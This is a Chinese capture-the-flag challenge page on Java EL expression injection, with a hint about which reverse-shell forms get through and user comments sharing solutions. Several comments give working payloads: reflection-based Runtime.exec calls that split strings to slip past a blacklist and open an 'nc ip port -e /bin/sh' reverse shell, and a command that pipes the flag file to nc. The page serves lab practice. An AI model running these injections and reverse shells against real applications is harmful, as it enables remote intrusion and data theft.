Java EL表达式注入WEB 未解决

分数: 35 金币: 4
题目作者: 云牧青
一  血: 广告位招租
一血奖励: 10金币
解  决: 131
提  示:
描  述:
/bin/bash: X ; /bin/sh √ ; /dev/tcp X ; nc -e ip port X ; nc ip port -e √ ;
评论
ailiyishen 2月前

"/bin/sh","-c","cat /f* | nc *"

回复 0

qq1002517 8月前

反弹服务器没的。算鸟

回复 0

binyu 8月前

''.getClass().forName('java.lang.Run'+'time').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Run'+'time').getMethod('getRu'+'ntime').invoke(null),'nc ip port -e /bin/sh')

回复 1

李逍遥逛霍格沃茨 8月前

浪费时间和金币的题目,花金币买了write up也做不出来 最大问题是反向连接建立不了 按照两边的教程监听端口一点反应都没有 纹丝不动

回复 0

l1nci 1年前

做不出来,金币-5,呜呜呜

回复 0

ailx10 1年前

嘻嘻,参考:https://zhuanlan.zhihu.com/p/721560334

回复 0

lzhui 2年前

金币 -5

回复 0

blackjack009 2年前

new javax.script.ScriptEngineManager().getEngineByName(new String(new byte[]{106,115})).eval(new String(new byte[]{106...........}));

回复 0

jack12138 3年前

利用Java反射机制实现RCE,参考:http://www.hackdig.com/08/hack-459909.htm,题中用''.getClass()替代了Class,黑名单可利用字符串拼接绕过,如''.getClass().forName('java.lang.Run'+'time')

回复 0

jack12138 3年前

没做出来,记录一下,应该跟 MVEL.eval 有关系?没试出来

回复 0

WriteUp

image
pick29

6 金币

评分(2)

解题动态

KN11 攻破了该题 21小时前
她存在了 攻破了该题 2天前
小楼一夜听春雨 攻破了该题 4天前
能工智人 攻破了该题 5天前
lzq2000 攻破了该题 5天前
世界你好 攻破了该题 9天前
suming 攻破了该题 11天前
星宇Sec 攻破了该题 20天前
CTF-大王 攻破了该题 22天前
mahiru 攻破了该题 25天前
香克斯呀 攻破了该题 26天前
加州故事 攻破了该题 26天前
mystery 攻破了该题 29天前
12580 攻破了该题 29天前
wyyoh 攻破了该题 1月前
Jazzyl 攻破了该题 1月前
whshkdh 攻破了该题 1月前
无敌霸王龙 攻破了该题 1月前
i8vkmmju 攻破了该题 1月前
兰小方 攻破了该题 1月前
问题反馈